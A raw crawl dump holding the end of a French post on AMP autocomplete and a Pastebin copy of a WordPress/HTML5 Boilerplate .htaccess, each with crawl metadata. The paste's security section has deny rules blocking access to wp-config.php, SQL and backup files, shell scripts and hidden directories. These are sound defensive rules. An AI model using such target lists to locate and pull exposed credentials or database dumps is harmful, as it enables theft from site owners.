4. Optionnel : le composant “amp-mustache” est nécessaire pour le rendu du contenu riche et côté client des réponses des formulaires :
<script async custom-template="amp-mustache" src="https://cdn.ampproject.org/v0/amp-mustache-0.2.js"/script>
Utilisation de base
Un composant amp-autocomplete doit toujours être rattaché à un formulaire et avoir un champ d\’entrée et une source de données (base de données).
Une source de données doit être un objet JSON contenant un élément de propriété de tableau, et peut être spécifiée en ligne avec une balise de type de script enfant, \ »application/json\ » ou un point de terminaison serveur spécifié avec un attribut “src”.
Pour en savoir plus sur les détails techniques du fonctionnement de cette fonctionnalité et sur la façon de la configurer, consultez la documentation officielle ici.
Laisser un commentaire
|
{
"url": "https://arobasenet.com/2019/07/01/amp-supporte-lautocompletion-dans-les-formulaires-de-recherche/",
"source_domain": "arobasenet.com",
"snapshot_id": "CC-MAIN-2023-23",
"warc_metadata": {
"Content-Length": "105738",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:R46SP5GIR3GGZTIC6JAM6XEA4CRFPBW3",
"WARC-Concurrent-To": "<urn:uuid:5aaec638-8778-4e88-b8f2-63472d407262>",
"WARC-Date": "2023-06-06T19:24:26Z",
"WARC-IP-Address": "18.213.98.197",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:U4UCFPQEJBA4GNMVFNUR4J4QEII4BTJA",
"WARC-Record-ID": "<urn:uuid:2ea78503-c4b9-4278-a694-241677db6633>",
"WARC-Target-URI": "https://arobasenet.com/2019/07/01/amp-supporte-lautocompletion-dans-les-formulaires-de-recherche/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2090d031-c48a-43e1-9e0b-b06dc051fcfa>"
},
"warc_info": "isPartOf: CC-MAIN-2023-23\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-239\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
65,
66,
229,
230,
295,
296,
465,
466,
557,
558,
674,
675,
853,
854,
1054,
1055,
1216,
1217,
1342,
1343,
1512,
1513,
1714,
1715,
2123,
2124,
2142,
2143,
2187,
2188,
2221,
2222,
2275,
2276,
2324,
2364,
2506,
2643,
2644,
2760,
2761,
2781,
2782,
2928,
2929,
3186,
3187,
3353,
3354
],
"line_end_idx": [
65,
66,
229,
230,
295,
296,
465,
466,
557,
558,
674,
675,
853,
854,
1054,
1055,
1216,
1217,
1342,
1343,
1512,
1513,
1714,
1715,
2123,
2124,
2142,
2143,
2187,
2188,
2221,
2222,
2275,
2276,
2324,
2364,
2506,
2643,
2644,
2760,
2761,
2781,
2782,
2928,
2929,
3186,
3187,
3353,
3354,
3376
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 3376,
"ccnet_original_nlines": 49,
"rps_doc_curly_bracket": 0.0005924199940636754,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.07956317812204361,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.020280810073018074,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.21216848492622375,
"rps_doc_frac_unique_words": 0.45168066024780273,
"rps_doc_mean_word_length": 5.96848726272583,
"rps_doc_num_sentences": 23,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.861241817474365,
"rps_doc_word_count": 476,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.09362900257110596,
"rps_doc_frac_chars_dupe_6grams": 0.0527983084321022,
"rps_doc_frac_chars_dupe_7grams": 0.027455119416117668,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.012319610454142094,
"rps_doc_frac_chars_top_3gram": 0.018303409218788147,
"rps_doc_frac_chars_top_4gram": 0.01407955028116703,
"rps_doc_books_importance": -234.1910400390625,
"rps_doc_books_importance_length_correction": -234.1910400390625,
"rps_doc_openwebtext_importance": -117.54145812988281,
"rps_doc_openwebtext_importance_length_correction": -117.54145812988281,
"rps_doc_wikipedia_importance": -92.44512176513672,
"rps_doc_wikipedia_importance_length_correction": -92.44512176513672
},
"fasttext": {
"dclm": 0.9882196187973022,
"english": 0.0008462399709969759,
"fineweb_edu_approx": 1.0821681022644043,
"eai_general_math": 0.0011806499678641558,
"eai_open_web_math": 0.5320558547973633,
"eai_web_code": 0.3787844777107239
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
6,645,209,958,083,273,000 |
SHARE
TWEET
htaccess query
a guest Nov 12th, 2012 135 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
1. # BEGIN WordPress
2. <IfModule mod_rewrite.c>
3. RewriteEngine On
4. RewriteBase /
5. RewriteRule ^index\.php$ - [L]
6. RewriteCond %{REQUEST_FILENAME} !-f
7. RewriteCond %{REQUEST_FILENAME} !-d
8. RewriteRule . /index.php [L]
9. </IfModule>
10.
11. # END WordPress
12.
13.
14. # BEGIN HTML5 Boilerplate
15.
16. ###
17. ### This contains the HTML5 Boilerplate .htaccess that can be found at:
18. ### github.com/h5bp/html5-boilerplate/blob/master/.htaccess
19. ###
20. ### Added:
21. ### Block access to access to WordPress files that reveal version information.
22. ###
23. ### Commented out by default:
24. ### Expires headers: Use WP Super Cache or W3 Total Cache (unless using the H5BP build script)
25. ### ETag removal: Use WP Super Cache or W3 Total Cache (unless using the H5BP build script)
26. ### Start rewrite engine: Handled by WordPress
27. ### Suppress/force www: Handled by WordPress
28. ### Options -MultiViews: Causes a server 500 error on most shared hosts
29. ### Custom 404 page: Handled by WordPress
30. ###
31. ### Anytime you update this file the .htaccess file in the root of your
32. ### WordPress install is automatically updated with the changes whenever
33. ### the permalinks are flushed or set
34. ###
35.
36.
37. # ----------------------------------------------------------------------
38. # Better website experience for IE users
39. # ----------------------------------------------------------------------
40.
41. # Force the latest IE version, in various cases when it may fall back to IE7 mode
42. # github.com/rails/rails/commit/123eb25#commitcomment-118920
43. # Use ChromeFrame if it's installed for a better experience for the poor IE folk
44.
45. <IfModule mod_headers.c>
46. Header set X-UA-Compatible "IE=Edge,chrome=1"
47. # mod_headers can't match by content-type, but we don't want to send this header on *everything*...
48. <FilesMatch "\.(js|css|gif|png|jpe?g|pdf|xml|oga|ogg|m4a|ogv|mp4|m4v|webm|svg|svgz|eot|ttf|otf|woff|ico|webp|appcache|manifest|htc|crx|oex|xpi|safariextz|vcf)$" >
49. Header unset X-UA-Compatible
50. </FilesMatch>
51. </IfModule>
52.
53.
54. # ----------------------------------------------------------------------
55. # Cross-domain AJAX requests
56. # ----------------------------------------------------------------------
57.
58. # Serve cross-domain Ajax requests, disabled by default.
59. # enable-cors.org
60. # code.google.com/p/html5security/wiki/CrossOriginRequestSecurity
61.
62. # <IfModule mod_headers.c>
63. # Header set Access-Control-Allow-Origin "*"
64. # </IfModule>
65.
66.
67. # ----------------------------------------------------------------------
68. # CORS-enabled images (@crossorigin)
69. # ----------------------------------------------------------------------
70.
71. # Send CORS headers if browsers request them; enabled by default for images.
72. # developer.mozilla.org/en/CORS_Enabled_Image
73. # blog.chromium.org/2011/07/using-cross-domain-images-in-webgl-and.html
74. # hacks.mozilla.org/2011/11/using-cors-to-load-webgl-textures-from-cross-domain-images/
75. # wiki.mozilla.org/Security/Reviews/crossoriginAttribute
76.
77. <IfModule mod_setenvif.c>
78. <IfModule mod_headers.c>
79. # mod_headers, y u no match by Content-Type?!
80. <FilesMatch "\.(gif|png|jpe?g|svg|svgz|ico|webp)$">
81. SetEnvIf Origin ":" IS_CORS
82. Header set Access-Control-Allow-Origin "*" env=IS_CORS
83. </FilesMatch>
84. </IfModule>
85. </IfModule>
86.
87.
88. # ----------------------------------------------------------------------
89. # Webfont access
90. # ----------------------------------------------------------------------
91.
92. # Allow access from all domains for webfonts.
93. # Alternatively you could only whitelist your
94. # subdomains like "subdomain.example.com".
95.
96. <IfModule mod_headers.c>
97. <FilesMatch "\.(ttf|ttc|otf|eot|woff|font.css)$">
98. Header set Access-Control-Allow-Origin "*"
99. </FilesMatch>
100. </IfModule>
101.
102.
103.
104. # ----------------------------------------------------------------------
105. # Proper MIME type for all files
106. # ----------------------------------------------------------------------
107.
108.
109. # JavaScript
110. # Normalize to standard type (it's sniffed in IE anyways)
111. # tools.ietf.org/html/rfc4329#section-7.2
112. AddType application/javascript js jsonp
113. AddType application/json json
114.
115. # Audio
116. AddType audio/ogg oga ogg
117. AddType audio/mp4 m4a f4a f4b
118.
119. # Video
120. AddType video/ogg ogv
121. AddType video/mp4 mp4 m4v f4v f4p
122. AddType video/webm webm
123. AddType video/x-flv flv
124.
125. # SVG
126. # Required for svg webfonts on iPad
127. # twitter.com/FontSquirrel/status/14855840545
128. AddType image/svg+xml svg svgz
129. AddEncoding gzip svgz
130.
131. # Webfonts
132. AddType application/vnd.ms-fontobject eot
133. AddType application/x-font-ttf ttf ttc
134. AddType font/opentype otf
135. AddType application/x-font-woff woff
136.
137. # Assorted types
138. AddType image/x-icon ico
139. AddType image/webp webp
140. AddType text/cache-manifest appcache manifest
141. AddType text/x-component htc
142. AddType application/xml rss atom xml rdf
143. AddType application/x-chrome-extension crx
144. AddType application/x-opera-extension oex
145. AddType application/x-xpinstall xpi
146. AddType application/octet-stream safariextz
147. AddType application/x-web-app-manifest+json webapp
148. AddType text/x-vcard vcf
149. AddType application/x-shockwave-flash swf
150.
151.
152.
153. # ----------------------------------------------------------------------
154. # Allow concatenation from within specific js and css files
155. # ----------------------------------------------------------------------
156.
157. # e.g. Inside of script.combined.js you could have
158. # <!--#include file="libs/jquery-1.5.0.min.js" -->
159. # <!--#include file="plugins/jquery.idletimer.js" -->
160. # and they would be included into this single file.
161.
162. # This is not in use in the boilerplate as it stands. You may
163. # choose to name your files in this way for this advantage or
164. # concatenate and minify them manually.
165. # Disabled by default.
166.
167. #<FilesMatch "\.combined\.js$">
168. # Options +Includes
169. # AddOutputFilterByType INCLUDES application/javascript application/json
170. # SetOutputFilter INCLUDES
171. #</FilesMatch>
172. #<FilesMatch "\.combined\.css$">
173. # Options +Includes
174. # AddOutputFilterByType INCLUDES text/css
175. # SetOutputFilter INCLUDES
176. #</FilesMatch>
177.
178.
179. # ----------------------------------------------------------------------
180. # Gzip compression
181. # ----------------------------------------------------------------------
182.
183. <IfModule mod_deflate.c>
184.
185. # Force deflate for mangled headers developer.yahoo.com/blogs/ydn/posts/2010/12/pushing-beyond-gzipping/
186. <IfModule mod_setenvif.c>
187. <IfModule mod_headers.c>
188. SetEnvIfNoCase ^(Accept-EncodXng|X-cept-Encoding|X{15}|~{15}|-{15})$ ^((gzip|deflate)\s*,?\s*)+|[X~-]{4,13}$ HAVE_Accept-Encoding
189. RequestHeader append Accept-Encoding "gzip,deflate" env=HAVE_Accept-Encoding
190. </IfModule>
191. </IfModule>
192.
193. # HTML, TXT, CSS, JavaScript, JSON, XML, HTC:
194. <IfModule filter_module>
195. FilterDeclare COMPRESS
196. FilterProvider COMPRESS DEFLATE resp=Content-Type $text/html
197. FilterProvider COMPRESS DEFLATE resp=Content-Type $text/css
198. FilterProvider COMPRESS DEFLATE resp=Content-Type $text/plain
199. FilterProvider COMPRESS DEFLATE resp=Content-Type $text/xml
200. FilterProvider COMPRESS DEFLATE resp=Content-Type $text/x-component
201. FilterProvider COMPRESS DEFLATE resp=Content-Type $application/javascript
202. FilterProvider COMPRESS DEFLATE resp=Content-Type $application/json
203. FilterProvider COMPRESS DEFLATE resp=Content-Type $application/xml
204. FilterProvider COMPRESS DEFLATE resp=Content-Type $application/xhtml+xml
205. FilterProvider COMPRESS DEFLATE resp=Content-Type $application/rss+xml
206. FilterProvider COMPRESS DEFLATE resp=Content-Type $application/atom+xml
207. FilterProvider COMPRESS DEFLATE resp=Content-Type $application/vnd.ms-fontobject
208. FilterProvider COMPRESS DEFLATE resp=Content-Type $image/svg+xml
209. FilterProvider COMPRESS DEFLATE resp=Content-Type $image/x-icon
210. FilterProvider COMPRESS DEFLATE resp=Content-Type $application/x-font-ttf
211. FilterProvider COMPRESS DEFLATE resp=Content-Type $font/opentype
212. FilterChain COMPRESS
213. FilterProtocol COMPRESS DEFLATE change=yes;byteranges=no
214. </IfModule>
215.
216. <IfModule !mod_filter.c>
217. # Legacy versions of Apache
218. AddOutputFilterByType DEFLATE text/html text/plain text/css application/json
219. AddOutputFilterByType DEFLATE application/javascript
220. AddOutputFilterByType DEFLATE text/xml application/xml text/x-component
221. AddOutputFilterByType DEFLATE application/xhtml+xml application/rss+xml application/atom+xml
222. AddOutputFilterByType DEFLATE image/x-icon image/svg+xml application/vnd.ms-fontobject application/x-font-ttf font/opentype
223. </IfModule>
224.
225. </IfModule>
226.
227.
228. # ----------------------------------------------------------------------
229. # Expires headers (for better cache control)
230. # ----------------------------------------------------------------------
231.
232. # These are pretty far-future expires headers.
233. # They assume you control versioning with filename-based cache busting
234. # Additionally, consider that outdated proxies may miscache
235. # www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/
236.
237. # If you don't use filenames to version, lower the CSS and JS to something like
238. # "access plus 1 week" or so.
239.
240. # <IfModule mod_expires.c>
241. # ExpiresActive on
242.
243. # Perhaps better to whitelist expires rules? Perhaps.
244. # ExpiresDefault "access plus 1 month"
245.
246. # cache.appcache needs re-requests in FF 3.6 (thanks Remy ~Introducing HTML5)
247. # ExpiresByType text/cache-manifest "access plus 0 seconds"
248.
249. # Your document html
250. # ExpiresByType text/html "access plus 0 seconds"
251.
252. # Data
253. # ExpiresByType text/xml "access plus 0 seconds"
254. # ExpiresByType application/xml "access plus 0 seconds"
255. # ExpiresByType application/json "access plus 0 seconds"
256.
257. # Feed
258. # ExpiresByType application/rss+xml "access plus 1 hour"
259. # ExpiresByType application/atom+xml "access plus 1 hour"
260.
261. # Favicon (cannot be renamed)
262. # ExpiresByType image/x-icon "access plus 1 week"
263.
264. # Media: images, video, audio
265. # ExpiresByType image/gif "access plus 1 month"
266. # ExpiresByType image/png "access plus 1 month"
267. # ExpiresByType image/jpg "access plus 1 month"
268. # ExpiresByType image/jpeg "access plus 1 month"
269. # ExpiresByType video/ogg "access plus 1 month"
270. # ExpiresByType audio/ogg "access plus 1 month"
271. # ExpiresByType video/mp4 "access plus 1 month"
272. # ExpiresByType video/webm "access plus 1 month"
273.
274. # HTC files (css3pie)
275. # ExpiresByType text/x-component "access plus 1 month"
276.
277. # Webfonts
278. # ExpiresByType application/x-font-ttf "access plus 1 month"
279. # ExpiresByType font/opentype "access plus 1 month"
280. # ExpiresByType application/x-font-woff "access plus 1 month"
281. # ExpiresByType image/svg+xml "access plus 1 month"
282. # ExpiresByType application/vnd.ms-fontobject "access plus 1 month"
283.
284. # CSS and JavaScript
285. # ExpiresByType text/css "access plus 1 year"
286. # ExpiresByType application/javascript "access plus 1 year"
287.
288. # </IfModule>
289.
290.
291.
292. # ----------------------------------------------------------------------
293. # ETag removal
294. # ----------------------------------------------------------------------
295.
296. # FileETag None is not enough for every server.
297. # <IfModule mod_headers.c>
298. # Header unset ETag
299. # </IfModule>
300.
301. # Since we're sending far-future expires, we don't need ETags for
302. # static content.
303. # developer.yahoo.com/performance/rules.html#etags
304. # FileETag None
305.
306.
307.
308. # ----------------------------------------------------------------------
309. # Stop screen flicker in IE on CSS rollovers
310. # ----------------------------------------------------------------------
311.
312. # The following directives stop screen flicker in IE on CSS rollovers - in
313. # combination with the "ExpiresByType" rules for images (see above). If
314. # needed, un-comment the following rules.
315.
316. # BrowserMatch "MSIE" brokenvary=1
317. # BrowserMatch "Mozilla/4.[0-9]{2}" brokenvary=1
318. # BrowserMatch "Opera" !brokenvary
319. # SetEnvIf brokenvary 1 force-no-vary
320.
321.
322.
323. # ----------------------------------------------------------------------
324. # Cookie setting from iframes
325. # ----------------------------------------------------------------------
326.
327. # Allow cookies to be set from iframes (for IE only)
328. # If needed, uncomment and specify a path or regex in the Location directive
329.
330. # <IfModule mod_headers.c>
331. # Header set P3P "policyref=\"/w3c/p3p.xml\", CP=\"IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT\""
332. # </IfModule>
333.
334.
335.
336. # ----------------------------------------------------------------------
337. # Start rewrite engine
338. # ----------------------------------------------------------------------
339.
340. # Turning on the rewrite engine is necessary for the following rules and features.
341. # FollowSymLinks must be enabled for this to work.
342. #
343. # Some cloud hosting services require RewriteBase to be set: goo.gl/HOcPN
344. # If using the h5bp in a subdirectory, use `RewriteBase /foo` instead where 'foo' is your directory.
345.
346. # <IfModule mod_rewrite.c>
347. # Options +FollowSymlinks
348. # RewriteEngine On
349. # # RewriteBase /
350. # </IfModule>
351.
352.
353.
354. # ----------------------------------------------------------------------
355. # Suppress or force the "www." at the beginning of URLs
356. # ----------------------------------------------------------------------
357.
358. # The same content should never be available under two different URLs - especially not with and
359. # without "www." at the beginning, since this can cause SEO problems (duplicate content).
360. # That's why you should choose one of the alternatives and redirect the other one.
361.
362. # By default option 1 (no "www.") is activated. Remember: Shorter URLs are sexier.
363. # no-www.org/faq.php?q=class_b
364.
365. # If you rather want to use option 2, just comment out all option 1 lines
366. # and uncomment option 2.
367. # IMPORTANT: NEVER USE BOTH RULES AT THE SAME TIME!
368.
369. # ----------------------------------------------------------------------
370.
371. # Option 1:
372. # Rewrite "www.example.com -> example.com"
373.
374. # <IfModule mod_rewrite.c>
375. # RewriteCond %{HTTPS} !=on
376. # RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]
377. # RewriteRule ^ http://%1%{REQUEST_URI} [R=301,L]
378. # </IfModule>
379.
380. # ----------------------------------------------------------------------
381.
382. # Option 2:
383. # To rewrite "example.com -> www.example.com" uncomment the following lines.
384. # Be aware that the following rule might not be a good idea if you
385. # use "real" subdomains for certain parts of your website.
386.
387. # <IfModule mod_rewrite.c>
388. # RewriteCond %{HTTPS} !=on
389. # RewriteCond %{HTTP_HOST} !^www\..+$ [NC]
390. # RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]
391. # </IfModule>
392.
393.
394.
395. # ----------------------------------------------------------------------
396. # Built-in filename-based cache busting
397. # ----------------------------------------------------------------------
398.
399. # If you're not using the build script to manage your filename version revving,
400. # you might want to consider enabling this, which will route requests for
401. # /css/style.20110203.css to /css/style.css
402.
403. # To understand why this is important and a better idea than all.css?v1231,
404. # read: github.com/h5bp/html5-boilerplate/wiki/cachebusting
405.
406. # Uncomment to enable.
407. # <IfModule mod_rewrite.c>
408. # RewriteCond %{REQUEST_FILENAME} !-f
409. # RewriteCond %{REQUEST_FILENAME} !-d
410. # RewriteRule ^(.+)\.(\d+)\.(js|css|png|jpg|gif)$ $1.$3 [L]
411. # </IfModule>
412.
413.
414.
415. # ----------------------------------------------------------------------
416. # Prevent SSL cert warnings
417. # ----------------------------------------------------------------------
418.
419. # Rewrite secure requests properly to prevent SSL cert warnings, e.g. prevent
420. # https://www.example.com when your cert only allows https://secure.example.com
421. # Uncomment the following lines to use this feature.
422.
423. # <IfModule mod_rewrite.c>
424. # RewriteCond %{SERVER_PORT} !^443
425. # RewriteRule ^ https://example-domain-please-change-me.com%{REQUEST_URI} [R=301,L]
426. # </IfModule>
427.
428.
429.
430. # ----------------------------------------------------------------------
431. # Prevent 404 errors for non-existing redirected folders
432. # ----------------------------------------------------------------------
433.
434. # without -MultiViews, Apache will give a 404 for a rewrite if a folder of the same name does not exist
435. # e.g. /blog/hello : webmasterworld.com/apache/3808792.htm
436.
437. # Options -MultiViews
438.
439.
440.
441. # ----------------------------------------------------------------------
442. # Custom 404 page
443. # ----------------------------------------------------------------------
444.
445. # You can add custom pages to handle 500 or 403 pretty easily, if you like.
446. # If you are hosting your site in subdirectory, adjust this accordingly
447. # e.g. ErrorDocument 404 /subdir/404.html
448. # ErrorDocument 404 /404.html
449.
450.
451.
452. # ----------------------------------------------------------------------
453. # UTF-8 encoding
454. # ----------------------------------------------------------------------
455.
456. # Use UTF-8 encoding for anything served text/plain or text/html
457. AddDefaultCharset utf-8
458.
459. # Force UTF-8 for a number of file formats
460. AddCharset utf-8 .css .js .xml .json .rss .atom
461.
462.
463.
464. # ----------------------------------------------------------------------
465. # A little more security
466. # ----------------------------------------------------------------------
467.
468.
469. # Do we want to advertise the exact version number of Apache we're running?
470. # Probably not.
471. ## This can only be enabled if used in httpd.conf - It will not work in .htaccess
472. # ServerTokens Prod
473.
474.
475. # "-Indexes" will have Apache block users from browsing folders without a default document
476. # Usually you should leave this activated, because you shouldn't allow everybody to surf through
477. # every folder on your server (which includes rather private places like CMS system folders).
478. <IfModule mod_autoindex.c>
479. Options -Indexes
480. </IfModule>
481.
482.
483. # Block access to "hidden" directories whose names begin with a period. This
484. # includes directories used by version control systems such as Subversion or Git.
485. <IfModule mod_rewrite.c>
486. RewriteCond %{SCRIPT_FILENAME} -d
487. RewriteCond %{SCRIPT_FILENAME} -f
488. RewriteRule "(^|/)\." - [F]
489. </IfModule>
490.
491.
492. # Block access to backup and source files
493. # This files may be left by some text/html editors and
494. # pose a great security danger, when someone can access them
495. <FilesMatch "(\.(bak|config|sql|fla|psd|ini|log|sh|inc|swp|dist)|~)$">
496. Order allow,deny
497. Deny from all
498. Satisfy All
499. </FilesMatch>
500.
501.
502. # Block access to WordPress files that reveal version information.
503. <FilesMatch "^(wp-config\.php|readme\.html|license\.txt)">
504. Order allow,deny
505. Deny from all
506. Satisfy All
507. </FilesMatch>
508.
509.
510. # If your server is not already configured as such, the following directive
511. # should be uncommented in order to set PHP's register_globals option to OFF.
512. # This closes a major security hole that is abused by most XSS (cross-site
513. # scripting) attacks. For more information: http://php.net/register_globals
514. #
515. # IF REGISTER_GLOBALS DIRECTIVE CAUSES 500 INTERNAL SERVER ERRORS :
516. #
517. # Your server does not allow PHP directives to be set via .htaccess. In that
518. # case you must make this change in your php.ini file instead. If you are
519. # using a commercial web host, contact the administrators for assistance in
520. # doing this. Not all servers allow local php.ini files, and they should
521. # include all PHP configurations (not just this one), or you will effectively
522. # reset everything to PHP defaults. Consult www.php.net for more detailed
523. # information about setting PHP directives.
524.
525. # php_flag register_globals Off
526.
527. # Rename session cookie to something else, than PHPSESSID
528. # php_value session.name sid
529.
530. # Disable magic quotes (This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.)
531. # php_flag magic_quotes_gpc Off
532.
533. # Do not show you are using PHP
534. # Note: Move this line to php.ini since it won't work in .htaccess
535. # php_flag expose_php Off
536.
537. # Level of log detail - log all errors
538. # php_value error_reporting -1
539.
540. # Write errors to log file
541. # php_flag log_errors On
542.
543. # Do not display errors in browser (production - Off, development - On)
544. # php_flag display_errors Off
545.
546. # Do not display startup errors (production - Off, development - On)
547. # php_flag display_startup_errors Off
548.
549. # Format errors in plain text
550. # Note: Leave this setting 'On' for xdebug's var_dump() output
551. # php_flag html_errors Off
552.
553. # Show multiple occurrence of error
554. # php_flag ignore_repeated_errors Off
555.
556. # Show same errors from different sources
557. # php_flag ignore_repeated_source Off
558.
559. # Size limit for error messages
560. # php_value log_errors_max_len 1024
561.
562. # Don't precede error with string (doesn't accept empty string, use whitespace if you need)
563. # php_value error_prepend_string " "
564.
565. # Don't prepend to error (doesn't accept empty string, use whitespace if you need)
566. # php_value error_append_string " "
567.
568. # Increase cookie security
569. <IfModule php5_module>
570. php_value session.cookie_httponly true
571. </IfModule>
572.
573. # END HTML5 Boilerplate
RAW Paste Data
Pastebin PRO Autumn Special!
Get 40% OFF on Pastebin PRO accounts!
Top
|
{
"url": "https://pastebin.com/07dWeM46",
"source_domain": "pastebin.com",
"snapshot_id": "crawl=CC-MAIN-2017-47",
"warc_metadata": {
"Content-Length": "88856",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:VPHU7UU6WMVRKUNRVUSKPU4SNH3XGXBQ",
"WARC-Concurrent-To": "<urn:uuid:79103b49-6a6a-4ae3-b1eb-15147dbf2996>",
"WARC-Date": "2017-11-20T09:16:33Z",
"WARC-IP-Address": "104.20.209.21",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:DEJ72IHJC3TRR2QTRU6BFQVUTAV7RZRY",
"WARC-Record-ID": "<urn:uuid:8c772fa0-d761-45f7-a570-293a5da0f506>",
"WARC-Target-URI": "https://pastebin.com/07dWeM46",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a462e2b6-ad22-4635-930e-b44bcc3aab7d>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-203-171-252.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-47\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for November 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
6,
12,
13,
28,
29,
62,
132,
155,
185,
207,
226,
262,
303,
344,
378,
395,
403,
425,
433,
441,
473,
481,
491,
569,
636,
646,
663,
749,
759,
795,
902,
1009,
1063,
1117,
1197,
1251,
1261,
1339,
1418,
1462,
1472,
1480,
1488,
1567,
1614,
1693,
1701,
1789,
1857,
1944,
1952,
1983,
2037,
2145,
2316,
2355,
2377,
2395,
2403,
2411,
2490,
2525,
2604,
2612,
2675,
2699,
2771,
2779,
2813,
2867,
2888,
2896,
2904,
2983,
3026,
3105,
3113,
3196,
3248,
3326,
3420,
3483,
3491,
3523,
3556,
3612,
3674,
3714,
3781,
3805,
3825,
3843,
3851,
3859,
3938,
3961,
4040,
4048,
4100,
4152,
4201,
4209,
4240,
4298,
4351,
4373,
4392,
4401,
4410,
4419,
4499,
4539,
4619,
4628,
4637,
4657,
4724,
4775,
4830,
4881,
4890,
4905,
4959,
5017,
5026,
5041,
5091,
5153,
5204,
5254,
5263,
5276,
5321,
5376,
5431,
5482,
5491,
5509,
5559,
5613,
5663,
5714,
5723,
5747,
5802,
5858,
5927,
5982,
6050,
6105,
6160,
6215,
6277,
6335,
6390,
6445,
6454,
6463,
6472,
6552,
6619,
6699,
6708,
6766,
6826,
6889,
6948,
6957,
7026,
7095,
7142,
7172,
7181,
7220,
7248,
7329,
7364,
7386,
7426,
7454,
7504,
7539,
7561,
7570,
7579,
7659,
7685,
7765,
7774,
7806,
7815,
7929,
7964,
8000,
8143,
8233,
8256,
8277,
8286,
8341,
8375,
8411,
8485,
8558,
8633,
8706,
8787,
8874,
8955,
9035,
9121,
9205,
9290,
9384,
9462,
9539,
9626,
9704,
9740,
9810,
9831,
9840,
9874,
9913,
10001,
10065,
10148,
10252,
10387,
10408,
10417,
10436,
10445,
10454,
10534,
10586,
10666,
10675,
10729,
10807,
10874,
10962,
10971,
11059,
11098,
11107,
11141,
11169,
11178,
11239,
11312,
11321,
11406,
11481,
11490,
11518,
11593,
11602,
11616,
11691,
11766,
11841,
11850,
11864,
11936,
12008,
12017,
12054,
12126,
12135,
12172,
12245,
12318,
12391,
12464,
12537,
12610,
12683,
12756,
12765,
12795,
12868,
12877,
12895,
12968,
13041,
13114,
13187,
13264,
13273,
13301,
13373,
13445,
13454,
13475,
13484,
13493,
13502,
13582,
13604,
13684,
13693,
13748,
13782,
13811,
13832,
13841,
13914,
13939,
13999,
14022,
14031,
14040,
14049,
14129,
14181,
14261,
14270,
14352,
14431,
14480,
14489,
14531,
14587,
14629,
14674,
14683,
14692,
14701,
14781,
14818,
14898,
14907,
14967,
15051,
15060,
15094,
15222,
15243,
15252,
15261,
15270,
15350,
15380,
15460,
15469,
15559,
15617,
15626,
15707,
15815,
15824,
15858,
15893,
15921,
15946,
15967,
15976,
15985,
15994,
16074,
16137,
16217,
16226,
16329,
16426,
16516,
16525,
16615,
16653,
